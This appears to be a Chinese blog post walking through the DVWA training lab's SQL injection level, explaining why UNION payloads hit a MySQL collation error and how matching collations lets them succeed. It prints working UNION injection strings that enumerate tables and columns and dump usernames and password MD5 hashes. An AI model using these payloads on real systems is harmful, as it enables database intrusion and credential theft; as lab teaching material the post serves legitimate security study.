当前位置: 首页 > ai >正文

SQL注入报错“Illegal mix of collations for operation ‘UNION‘”解决办法

目录

一、原理分析

二、报错原因

1、注入语句

2、分析SQL语句

3、查看union前字段字符集

4、查看union后字段字符集 

三、解决方法

1、修改使字符集一致 

2、获取table渗透成功

3、获取column渗透成功

4、获取用户名密码成功 


在进行DVWA靶场SQL Injection关卡的渗透过程中,当尝试使用联合注入法渗透获取数据库的表名时(注入语句为“-1' union select 1, group_concat(table_name) from information_schema.tables where table_schema='dvwa'#”),报错illegal mix of collations for operation 'UNION',本文分析报错原因并给出解决办法。

一、原理分析

“illegal mix of collations for operation 'UNION'”错误发生在MySQL中,这是因为尝试执行UNION操作时,参与UNION的各个查询结果的字符集(collation)不一致导致的。以如下语句为例,需要保证column1,column2和column3,column4的字符集相同。

SELECT column1, column2 
FROM table1 
UNION 
SELECT column3, column4 
FROM table2;

如果报错“illegal mix of collations for operation 'UNION'”,通常是因为字段字符集不同。例如,第一个表table1的column1和column2字段使用utf8_general_ci,另一个表table2的column3和column4字段使用 utf8_unicode_ci,两者不同即会发生报错信息。

二、报错原因

1、注入语句

当使用-1' union select 1, group_concat(table_name) from information_schema.tables where table_schema='dvwa'#语句获取dvwa数据库中所有表格信息时,产生如下报错“Illegal mix of collations for operation 'UNION'”,具体如下所示

2、分析SQL语句

分析DVWA靶场SQL Injection的low级别关卡源码,如下所示。

由于原始SQL语句如下所示,查询的是user表的first_name和last_name。

SELECT first_name, last_name FROM users WHERE user_id = '$id';

本次注入的命令如下所示。

-1' union select 1, group_concat(table_name) from information_schema.tables where table_schema='dvwa'#

将如上两个命令结合,此步骤渗透的SQL注入语句如下所示。

SELECT first_name, last_name FROM users WHERE user_id = '-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#;

  将这个语句在数据库中执行,效果如下所示,同样报错。

这就是因为UNION前后的语句中select的字段所属的字符集不一致,将union前后拆开后如下所示,即 information_schema.tables中的table_name字符集与user表的first_name和last_name字符集不一致。

SELECT first_name, last_name FROM users WHERE user_id = '-1' 
union 
select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#;

3、查看union前字段字符集

首先来查看union之前语句的内容,select的内容为users表的first_name, last_name。

SELECT first_name, last_name FROM users WHERE user_id = '-1'

此时在navicat中找到dvwa数据库,查看user表信息,点击users然后右键,如下图所示。

右键选择设计表,表格变为如下内容,注意SQL语句中的first_name与lastname信息,下图红框内容。 

鼠标放到first_name,此时下图红框体现其类型为utf8_unicode_ci。

同样鼠标放到last_name,发现类型同样为utf8_unicode_ci。

4、查看union后字段字符集 

我们本次union联合查询的内容为information_schema中的数据库为dvwa的表格(即table_name),这时候我们看一下table_name的相关信息,如下图所示,鼠标点击到information_schema.tables表格中的table_name,类型为utf8_general_ci,如下图所示。

select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'

三、解决方法

1、修改使字符集一致 

为了确保一致,将user表中的first_name和last_name的字符规则修改一致,改为utf8_general_ci,如下所示。

2、获取table渗透成功

此时在SQL中再次执行语句,此时渗透成功。

SELECT first_name, last_name FROM users WHERE user_id = '-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#;

注入语句:-1' union select 1, group_concat(table_name) from information_schema.tables where table_schema='dvwa'#

可得到数据库dvwa中的表名,分别为guestbook与users。

3、获取column渗透成功

输入-1' union select 1, group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'#,可获取users表的所有字段。

这步能渗透成功,是因为字符集一致,完整的SQL注入语句与users表column字符集一致。

SELECT first_name, last_name FROM users WHERE user_id = '-1' union select 1, group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'#

4、获取用户名密码渗透成功 

输入-1' union select group_concat(user_id,first_name,last_name), group_concat(password) from users #,再次报错。

此时union后面select查询的元素增加了password,查看user表中该元素的字符集,如下所示与改过的first_name和last_name不一致,如下所示。 

为了确保password的字符集一致,将password改为与first_name和last_name的字符集合一致,改为utf8_general_ci,如下图所示。

修改后再次渗透,注入成功,可获取用户信息和密码的 MD5 值,解密后可得到明文密码。 

http://www.xdnf.cn/news/6174.html

相关文章:

  • 精益数据分析(59/126):移情阶段的深度博弈——如何避开客户访谈的认知陷阱
  • persist和cache方法
  • STC32G12K12实战:串口通信
  • [目标检测] YOLO系列算法讲解
  • 【智能优化算法改进系列 | 第一期】基于Tent混沌映射改进智能优化算法
  • 五款提升效率的工具
  • Femap许可硬件绑定
  • Colorama:Python终端色彩美化从入门到高级
  • React useState 的同步/异步行为及设计原理解析
  • 几句话说完提示词应该怎么写
  • docker-compose——安装mysql8
  • Windows 操作系统使用 Tcping 命令检查目标主机端口是否开放
  • Day24-元组、OS模块
  • SparkSQL操作Mysql(2)
  • phpstudy的Apache添加AddType application/x-httpd-php .php .php5配置无效的处理方式
  • “智”造升级:金众诚如何赋能重型机械企业高效项目管理?
  • 【Python】超类与父类
  • Java 异常处理之 BufferUnderflowException(BufferUnderflowException 概述、常见发生场景、避免策略)
  • 华为云Flexus+DeepSeek征文|基于华为云ModelArts Studio平台体验DeepSeek-V3大模型
  • 微信小程序之按钮短时间内被多次点击问题
  • Python解释器、REPL与脚本的区别
  • TypeScript装饰器-简洁版
  • 启动窗体自动输入上次内容——CAD c#二次开发
  • MySQL--day1--数据库概述
  • [20250514] 脑机接口行业调研报告(2024年最新版)
  • Sunsetting 创建 React App
  • 斜率变化策略
  • 手写CString类
  • UniApp Vue3事件适配与兼容方案
  • python 练习 五